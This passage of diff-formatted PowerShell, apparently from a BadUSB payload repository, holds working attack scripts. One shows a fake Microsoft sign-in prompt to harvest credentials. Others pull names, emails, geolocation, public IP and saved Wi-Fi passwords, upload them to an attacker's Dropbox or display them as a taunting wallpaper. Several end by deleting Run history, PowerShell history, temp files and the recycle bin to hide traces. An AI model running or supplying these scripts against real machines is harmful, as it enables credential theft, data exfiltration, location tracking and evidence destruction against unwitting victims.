# $days = the number of days since their password was last changed
|
||||
|
||||
try {
|
||||
|
||||
$pls = net user $env:UserName | Select-String -Pattern "Password last" ; $pls = [string]$pls
|
||||
$plsPOS = $pls.IndexOf("e")
|
||||
$pls = $pls.Substring($plsPOS+2).Trim()
|
||||
$pls = $pls -replace ".{3}$"
|
||||
$time = ((get-date) - (get-date "$pls")) ; $time = [string]$time
|
||||
$DateArray =$time.Split(".")
|
||||
$days = [int]$DateArray[0]
|
||||
}
|
||||
|
||||
# If no password set date is detected funtion will return $null to cancel Sapi Speak
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "Day password set not found"
|
||||
return $null
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
|
||||
# ENTER YOUR CUSTOM RESPONSES HERE
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
$newPass = "$pls was the last time you changed your password... You changed your password $days days ago.. I have to applaud you.. at least you change your password often. Still did not stop me! "
|
||||
|
||||
$avgPASS = "$pls was the last time you changed your password... it has been $days days since you changed your password, really starting to push it, i mean look i am here. that tells you something "
|
||||
|
||||
$oldPASS = "$pls was the last time you changed your password... it has been $days days since you changed your password, you were basically begging me to hack you, well here i am! "
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
|
||||
if($days -lt 45) { return $newPass
|
||||
|
||||
}elseif($days -gt 44 -and $days -lt 182) { return $avgPASS
|
||||
|
||||
}else { return $oldPASS
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# echo statement used to track progress while debugging
|
||||
echo "Pass last set Done"
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
Get Email
|
||||
This function will custom tailor a response based on what type of email the target has
|
||||
#>
|
||||
|
||||
function Get-email {
|
||||
|
||||
try {
|
||||
|
||||
$email = GPRESULT -Z /USER $Env:username | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches;$email = ("$email").Trim()
|
||||
|
||||
$emailpos = $email.IndexOf("@")
|
||||
|
||||
$domain = $email.Substring($emailpos+1) #.TrimEnd(".com")
|
||||
|
||||
}
|
||||
|
||||
# If no email is detected function will return backup message for sapi speak
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "An email was not found"
|
||||
return "you're lucky you do not have your email connected to your account, I would have really had some fun with you then lol"
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
# ENTER YOUR CUSTOM RESPONSES HERE
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
$gmailResponse = "At least you use G Mail.. we should be friends. If you are down just email me back, ill message you at $email. That is your email right?"
|
||||
$yahooResponse = "a yahoo account seriously? you are either in your 50's or just got done doing some time, a lot of it.. $email .. this is sad"
|
||||
$hotmailResponse = "really?. you have a hotmail account? $email .. I am sending this to the f b I they need to check your hard drive"
|
||||
$otherEmailResponse = "I dead ass do not even know what this is.. $email .. hope you did not think it was safe"
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
|
||||
if($email -like '*gmail*') { return $gmailResponse
|
||||
|
||||
}elseif($email -like '*yahoo*') { return $yahooResponse
|
||||
|
||||
}elseif($email -like '*hotmail*') { return $hotmailResponse
|
||||
|
||||
}else { return $otherEmailResponse}
|
||||
|
||||
|
||||
}
|
||||
|
||||
# echo statement used to track progress while debugging
|
||||
echo "Email Done"
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
Messages
|
||||
This function will run all the previous functions and assign their outputs to variables
|
||||
#>
|
||||
|
||||
$intro = "$fullName , it has been a long time my friend"
|
||||
|
||||
$RAMwarn = Get-RAM
|
||||
|
||||
$PUB_IPwarn = Get-PubIP
|
||||
|
||||
$PASSwarn = Get-Pass
|
||||
|
||||
$LAST_PASSwarn = Get-Days_Set
|
||||
|
||||
$EMAILwarn = Get-email
|
||||
|
||||
$OUTRO = "My crime is that of curiosity.... and yea curiosity killed the cat.... but satisfaction brought him back.... later $fullName"
|
||||
|
||||
# echo statement used to track progress while debugging
|
||||
echo "Speak Variables set"
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
# This turns the volume up to max level--------------------------------------------------------------------
|
||||
|
||||
$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)}
|
||||
|
||||
# echo statement used to track progress while debugging
|
||||
echo "Volume to max level"
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
These two snippets are meant to be used as indicators to let you know the script is set up and ready
|
||||
This will display a pop up window saying "hello $fullname"
|
||||
Or this makes the CapsLock indicator light blink however many times you set it to
|
||||
if you do not want the ready notice to pop up or the CapsLock light to blink comment them out below
|
||||
#>
|
||||
|
||||
# a popup will be displayed before freezing the script while waiting for the cursor to move to continue the script
|
||||
# else capslock light will blink as an indicator
|
||||
$popmessage = "Hello $fullName"
|
||||
|
||||
|
||||
$readyNotice = New-Object -ComObject Wscript.Shell;$readyNotice.Popup($popmessage)
|
||||
|
||||
|
||||
# caps lock indicator light
|
||||
$blinks = 3;$o=New-Object -ComObject WScript.Shell;for ($num = 1 ; $num -le $blinks*2; $num++){$o.SendKeys("{CAPSLOCK}");Start-Sleep -Milliseconds 250}
|
||||
|
||||
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
Then the script will be paused until the mouse is moved
|
||||
script will check mouse position every indicated number of seconds
|
||||
This while loop will constantly check if the mouse has been moved
|
||||
"CAPSLOCK" will be continously pressed to prevent screen from turning off
|
||||
it will then sleep for the indicated number of seconds and check again
|
||||
when mouse is moved it will break out of the loop and continue theipt
|
||||
#>
|
||||
|
||||
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||
|
||||
while (1) {
|
||||
$pauseTime = 3
|
||||
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||
break
|
||||
}
|
||||
else {
|
||||
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||
}
|
||||
}
|
||||
echo "it worked"
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
# this is where your message is spoken line by line
|
||||
|
||||
$s=New-Object -ComObject SAPI.SpVoice
|
||||
|
||||
# This sets how fast Sapi Speaks
|
||||
|
||||
$s.Rate = -1
|
||||
|
||||
$s.Speak($intro)
|
||||
|
||||
$s.Speak($RAMwarn)
|
||||
|
||||
$s.Speak($PUB_IPwarn)
|
||||
|
||||
$s.Speak($PASSwarn)
|
||||
|
||||
WallPaper-Troll
|
||||
|
||||
$s.Speak($LAST_PASSwarn)
|
||||
|
||||
$s.Speak($EMAILwarn)
|
||||
|
||||
$s.Speak($OUTRO)
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
# this snippet will leave a message on your targets desktop
|
||||
|
||||
$message = "`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back"
|
||||
|
||||
Add-Content $home\Desktop\WithLove.txt $message
|
||||
###########################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to clean up behind you and remove any evidence to prove you were there
|
||||
#>
|
||||
|
||||
# Delete contents of Temp folder
|
||||
|
||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# Delete run box history
|
||||
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||
|
||||
# Delete powershell history
|
||||
|
||||
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||
|
||||
# Deletes contents of recycle bin
|
||||
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
|
||||
# This script repeadedly presses the capslock button, this snippet will make sure capslock is turned back off
|
||||
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')
|
||||
|
||||
#If true, toggle CapsLock key, to ensure that the script doesn't fail
|
||||
if ($caps -eq $true){
|
||||
|
||||
$key = New-Object -ComObject WScript.Shell
|
||||
$key.SendKeys('{CapsLock}')
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,157 @@
|
||||
```PowerShell
|
||||
<#
|
||||
.SYNOPSIS
|
||||
This script is meant to trick your target into sharing their credentials through a fake authentication pop up message
|
||||
|
||||
.DESCRIPTION
|
||||
A pop up box will let the target know "Unusual sign-in. Please authenticate your Microsoft Account"
|
||||
This will be followed by a fake authentication ui prompt.
|
||||
If the target tried to "X" out, hit "CANCEL" or while the password box is empty hit "OK" the prompt will continuously re pop up
|
||||
Once the target enters their credentials their information will be uploaded to your dropbox for collection
|
||||
|
||||
.Link
|
||||
https://developers.dropbox.com/oauth-guide # Guide for setting up your DropBox for uploads
|
||||
|
||||
#>
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
$DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN"
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
$FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt"
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to generate the ui.prompt you will use to harvest their credentials
|
||||
#>
|
||||
|
||||
function Get-Creds {
|
||||
do{
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) {
|
||||
[System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!")
|
||||
Get-Creds
|
||||
}
|
||||
$creds = $cred.GetNetworkCredential() | fl
|
||||
return $creds
|
||||
# ...
|
||||
|
||||
$done = $true
|
||||
} until ($done)
|
||||
|
||||
}
|
||||
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to pause the script until a mouse movement is detected
|
||||
#>
|
||||
|
||||
function Pause-Script{
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||
$o=New-Object -ComObject WScript.Shell
|
||||
|
||||
while (1) {
|
||||
$pauseTime = 3
|
||||
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||
break
|
||||
}
|
||||
else {
|
||||
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
|
||||
# This script repeadedly presses the capslock button, this snippet will make sure capslock is turned back off
|
||||
|
||||
function Caps-Off {
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')
|
||||
|
||||
#If true, toggle CapsLock key, to ensure that the script doesn't fail
|
||||
if ($caps -eq $true){
|
||||
|
||||
$key = New-Object -ComObject WScript.Shell
|
||||
$key.SendKeys('{CapsLock}')
|
||||
}
|
||||
}
|
||||
#----------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to call the function to pause the script until a mouse movement is detected then activate the pop-up
|
||||
#>
|
||||
|
||||
Pause-Script
|
||||
|
||||
Caps-Off
|
||||
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
|
||||
[System.Windows.Forms.MessageBox]::Show("Unusual sign-in. Please authenticate your Microsoft Account")
|
||||
|
||||
$creds = Get-Creds
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to save the gathered credentials to a file in the temp directory
|
||||
#>
|
||||
|
||||
echo $creds >> $env:TMP\$FileName
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to upload your files to dropbox
|
||||
#>
|
||||
|
||||
$TargetFilePath="/$FileName"
|
||||
$SourceFilePath="$env:TMP\$FileName"
|
||||
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||
$authorization = "Bearer " + $DropBoxAccessToken
|
||||
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||
$headers.Add("Authorization", $authorization)
|
||||
$headers.Add("Dropbox-API-Arg", $arg)
|
||||
$headers.Add("Content-Type", 'application/octet-stream')
|
||||
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to clean up behind you and remove any evidence to prove you were there
|
||||
#>
|
||||
|
||||
# Delete contents of Temp folder
|
||||
|
||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# Delete run box history
|
||||
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||
|
||||
# Delete powershell history
|
||||
|
||||
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||
|
||||
# Deletes contents of recycle bin
|
||||
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||
```
|
||||
@@ -0,0 +1,133 @@
|
||||
```PowerShell
|
||||
<#
|
||||
.SYNOPSIS
|
||||
This script is meant to recover your device or as an advanced recon tactic to get sensitive info on your target
|
||||
|
||||
.DESCRIPTION
|
||||
This program is used to locate your stolen cable. Or perhaps locate your "stolen" cable if you left it as bait.
|
||||
This script will get the Name and email associated with the targets microsoft account
|
||||
Their geo-location will also be grabbed giving you the latitude and longitude of where your device was activated
|
||||
#>
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
$FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_Device-Location.txt"
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
function Get-fullName {
|
||||
|
||||
try {
|
||||
|
||||
$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")
|
||||
|
||||
}
|
||||
|
||||
# If no name is detected function will return $env:UserName
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No name was detected"
|
||||
return $env:UserName
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
return $fullName
|
||||
|
||||
}
|
||||
|
||||
$FN = Get-fullName
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
function Get-email {
|
||||
|
||||
try {
|
||||
|
||||
$email = GPRESULT -Z /USER $Env:username | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches;$email = ("$email").Trim()
|
||||
return $email
|
||||
}
|
||||
|
||||
# If no email is detected function will return backup message for sapi speak
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "An email was not found"
|
||||
return "No Email Detected"
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
|
||||
$EM = Get-email
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
function Get-GeoLocation{
|
||||
try {
|
||||
Add-Type -AssemblyName System.Device #Required to access System.Device.Location namespace
|
||||
$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object
|
||||
$GeoWatcher.Start() #Begin resolving current locaton
|
||||
|
||||
while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {
|
||||
Start-Sleep -Milliseconds 100 #Wait for discovery.
|
||||
}
|
||||
|
||||
if ($GeoWatcher.Permission -eq 'Denied'){
|
||||
Write-Error 'Access Denied for Location Information'
|
||||
} else {
|
||||
$GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results.
|
||||
}
|
||||
}
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No coordinates found"
|
||||
return "No Coordinates found"
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
$GL = Get-GeoLocation
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
echo $FN >> $env:TMP\$FileName
|
||||
echo $EM >> $env:TMP\$FileName
|
||||
echo $GL >> $env:TMP\$FileName
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
# Upload output file to dropbox
|
||||
|
||||
$DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN"
|
||||
$TargetFilePath="/$FileName"
|
||||
$SourceFilePath="$env:TMP\$FileName"
|
||||
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||
$authorization = "Bearer " + $DropBoxAccessToken
|
||||
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||
$headers.Add("Authorization", $authorization)
|
||||
$headers.Add("Dropbox-API-Arg", $arg)
|
||||
$headers.Add("Content-Type", 'application/octet-stream')
|
||||
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to clean up behind you and remove any evidence to prove you were there
|
||||
#>
|
||||
|
||||
# Delete contents of Temp folder
|
||||
|
||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# Delete run box history
|
||||
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||
|
||||
# Delete powershell history
|
||||
|
||||
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||
|
||||
# Deletes contents of recycle bin
|
||||
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||
```
|
||||
@@ -0,0 +1,394 @@
|
||||
```PowerShell
|
||||
<#
|
||||
|
||||
.DESCRIPTION
|
||||
This program gathers details from target PC to include name associated with the microsoft account, their latitude and longitude,
|
||||
Public IP, and and the SSID and WiFi password of any current or previously connected to networks.
|
||||
It will take the gathered information and generate a .jpg with that information on show
|
||||
Finally that .jpg will be applied as their Desktop Wallpaper so they know they were owned
|
||||
Additionally a secret message will be left in the binary of the wallpaper image generated and left on their desktop
|
||||
#>
|
||||
#############################################################################################################################################
|
||||
|
||||
# this is the message that will be coded into the image you use as the wallpaper
|
||||
|
||||
$hiddenMessage = "`n`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back `n with love -Jakoby"
|
||||
|
||||
# this will be the name of the image you use as the wallpaper
|
||||
|
||||
$ImageName = "dont-be-suspicious"
|
||||
|
||||
#############################################################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This will get the name associated with the microsoft account
|
||||
#>
|
||||
|
||||
function Get-Name {
|
||||
|
||||
try {
|
||||
|
||||
$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")
|
||||
|
||||
}
|
||||
|
||||
# If no name is detected function will return $null to avoid sapi speak
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No name was detected"
|
||||
return $env:UserName
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
return $fullName
|
||||
|
||||
}
|
||||
|
||||
$fn = Get-Name
|
||||
|
||||
echo "Hey" $fn >> $Env:temp\foo.txt
|
||||
|
||||
echo "`nYour computer is not very secure" >> $Env:temp\foo.txt
|
||||
|
||||
#############################################################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This is to get the current Latitide and Longitude of your target
|
||||
#>
|
||||
|
||||
function Get-GeoLocation{
|
||||
try {
|
||||
Add-Type -AssemblyName System.Device #Required to access System.Device.Location namespace
|
||||
$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object
|
||||
$GeoWatcher.Start() #Begin resolving current locaton
|
||||
|
||||
while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {
|
||||
Start-Sleep -Milliseconds 100 #Wait for discovery.
|
||||
}
|
||||
|
||||
if ($GeoWatcher.Permission -eq 'Denied'){
|
||||
Write-Error 'Access Denied for Location Information'
|
||||
} else {
|
||||
$GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results.
|
||||
|
||||
}
|
||||
}
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No coordinates found"
|
||||
return "No Coordinates found"
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
$GL = Get-GeoLocation
|
||||
if ($GL) { echo "`nYour Location: `n$GL" >> $Env:temp\foo.txt }
|
||||
|
||||
|
||||
#############################################################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This will get the public IP from the target computer
|
||||
#>
|
||||
|
||||
|
||||
function Get-PubIP {
|
||||
|
||||
try {
|
||||
|
||||
$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
|
||||
|
||||
}
|
||||
|
||||
# If no Public IP is detected function will return $null to avoid sapi speak
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No Public IP was detected"
|
||||
return $null
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
return $computerPubIP
|
||||
}
|
||||
|
||||
$PubIP = Get-PubIP
|
||||
if ($PubIP) { echo "`nYour Public IP: $PubIP" >> $Env:temp\foo.txt }
|
||||
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
Password last Set
|
||||
This function will custom tailor a response based on how long it has been since they last changed their password
|
||||
#>
|
||||
|
||||
|
||||
function Get-Days_Set {
|
||||
|
||||
#-----VARIABLES-----#
|
||||
# $pls (password last set) = the date/time their password was last changed
|
||||
# $days = the number of days since their password was last changed
|
||||
|
||||
try {
|
||||
|
||||
$pls = net user $env:USERNAME | Select-String -Pattern "Password last" ; $pls = [string]$pls
|
||||
$plsPOS = $pls.IndexOf("e")
|
||||
$pls = $pls.Substring($plsPOS+2).Trim()
|
||||
$pls = $pls -replace ".{3}$"
|
||||
$time = ((get-date) - (get-date "$pls")) ; $time = [string]$time
|
||||
$DateArray =$time.Split(".")
|
||||
$days = [int]$DateArray[0]
|
||||
return $pls
|
||||
|
||||
}
|
||||
|
||||
# If no password set date is detected funtion will return $null to cancel Sapi Speak
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "Day password set not found"
|
||||
return $null
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
|
||||
$pls = Get-Days_Set
|
||||
if ($pls) { echo "`nPassword Last Set: $pls" >> $Env:temp\foo.txt }
|
||||
|
||||
|
||||
###########################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
All Wifi Networks and Passwords
|
||||
This function will gather all current Networks and Passwords saved on the target computer
|
||||
They will be save in the temp directory to a file named with "$env:USERNAME-$(get-date -f yyyy-MM-dd)_WiFi-PWD.txt"
|
||||
#>
|
||||
|
||||
|
||||
# Get Network Interfaces
|
||||
$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress
|
||||
|
||||
# Get Wifi SSIDs and Passwords
|
||||
$WLANProfileNames =@()
|
||||
|
||||
#Get all the WLAN profile names
|
||||
$Output = netsh.exe wlan show profiles | Select-String -pattern " : "
|
||||
|
||||
#Trim the output to receive only the name
|
||||
Foreach($WLANProfileName in $Output){
|
||||
$WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim()
|
||||
}
|
||||
$WLANProfileObjects =@()
|
||||
|
||||
#Bind the WLAN profile names and also the password to a custom object
|
||||
Foreach($WLANProfileName in $WLANProfileNames){
|
||||
|
||||
#get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user
|
||||
try{
|
||||
$WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string -Pattern "Key Content") -split ":")[1]).Trim()
|
||||
}Catch{
|
||||
$WLANProfilePassword = "The password is not stored in this profile"
|
||||
}
|
||||
|
||||
#Build the object and add this to an array
|
||||
$WLANProfileObject = New-Object PSCustomobject
|
||||
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfileName" -Value $WLANProfileName
|
||||
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfilePassword" -Value $WLANProfilePassword
|
||||
$WLANProfileObjects += $WLANProfileObject
|
||||
Remove-Variable WLANProfileObject
|
||||
}
|
||||
if (!$WLANProfileObjects) { Write-Host "variable is null"
|
||||
}else {
|
||||
|
||||
# This is the name of the file the networks and passwords are saved to and later uploaded to the DropBox Cloud Storage
|
||||
|
||||
echo "`nW-Lan profiles: ===============================" $WLANProfileObjects >> $Env:temp\foo.txt
|
||||
|
||||
$content = [IO.File]::ReadAllText("$Env:temp\foo.txt")
|
||||
}
|
||||
#############################################################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This will get the dimension of the targets screen to make the wallpaper
|
||||
#>
|
||||
|
||||
Add-Type @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
public class PInvoke {
|
||||
[DllImport("user32.dll")] public static extern IntPtr GetDC(IntPtr hwnd);
|
||||
[DllImport("gdi32.dll")] public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
|
||||
}
|
||||
"@
|
||||
$hdc = [PInvoke]::GetDC([IntPtr]::Zero)
|
||||
$w = [PInvoke]::GetDeviceCaps($hdc, 118) # width
|
||||
$h = [PInvoke]::GetDeviceCaps($hdc, 117) # height
|
||||
|
||||
#############################################################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This will get take the information gathered and format it into a .jpg
|
||||
#>
|
||||
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
|
||||
$filename = "$env:tmp\foo.jpg"
|
||||
$bmp = new-object System.Drawing.Bitmap $w,$h
|
||||
$font = new-object System.Drawing.Font Consolas,18
|
||||
$brushBg = [System.Drawing.Brushes]::White
|
||||
$brushFg = [System.Drawing.Brushes]::Black
|
||||
$graphics = [System.Drawing.Graphics]::FromImage($bmp)
|
||||
$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height)
|
||||
$graphics.DrawString($content,$font,$brushFg,500,100)
|
||||
$graphics.Dispose()
|
||||
$bmp.Save($filename)
|
||||
|
||||
# Invoke-Item $filename
|
||||
|
||||
#############################################################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This will take your hidden message and use steganography to hide it in the image you use as the wallpaper
|
||||
Then it will clean up the files you don't want to leave behind
|
||||
#>
|
||||
|
||||
echo $hiddenMessage > $Env:temp\foo.txt
|
||||
cmd.exe /c copy /b "$Env:temp\foo.jpg" + "$Env:temp\foo.txt" "$Env:USERPROFILE\Desktop\$ImageName.jpg"
|
||||
|
||||
rm $env:TEMP\foo.txt,$env:TEMP\foo.jpg -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
|
||||
#############################################################################################################################################
|
||||
|
||||
<#
|
||||
|
||||
.NOTES
|
||||
This will take the image you generated and set it as the targets wall paper
|
||||
#>
|
||||
|
||||
Function Set-WallPaper {
|
||||
|
||||
<#
|
||||
|
||||
.SYNOPSIS
|
||||
Applies a specified wallpaper to the current user's desktop
|
||||
|
||||
.PARAMETER Image
|
||||
Provide the exact path to the image
|
||||
|
||||
.PARAMETER Style
|
||||
Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span)
|
||||
|
||||
.EXAMPLE
|
||||
Set-WallPaper -Image "C:\Wallpaper\Default.jpg"
|
||||
Set-WallPaper -Image "C:\Wallpaper\Background.jpg" -Style Fit
|
||||
|
||||
#>
|
||||
|
||||
|
||||
param (
|
||||
[parameter(Mandatory=$True)]
|
||||
# Provide path to image
|
||||
[string]$Image,
|
||||
# Provide wallpaper style that you would like applied
|
||||
[parameter(Mandatory=$False)]
|
||||
[ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
|
||||
[string]$Style
|
||||
)
|
||||
|
||||
$WallpaperStyle = Switch ($Style) {
|
||||
|
||||
"Fill" {"10"}
|
||||
"Fit" {"6"}
|
||||
"Stretch" {"2"}
|
||||
"Tile" {"0"}
|
||||
"Center" {"0"}
|
||||
"Span" {"22"}
|
||||
|
||||
}
|
||||
|
||||
If($Style -eq "Tile") {
|
||||
|
||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force
|
||||
|
||||
}
|
||||
Else {
|
||||
|
||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||
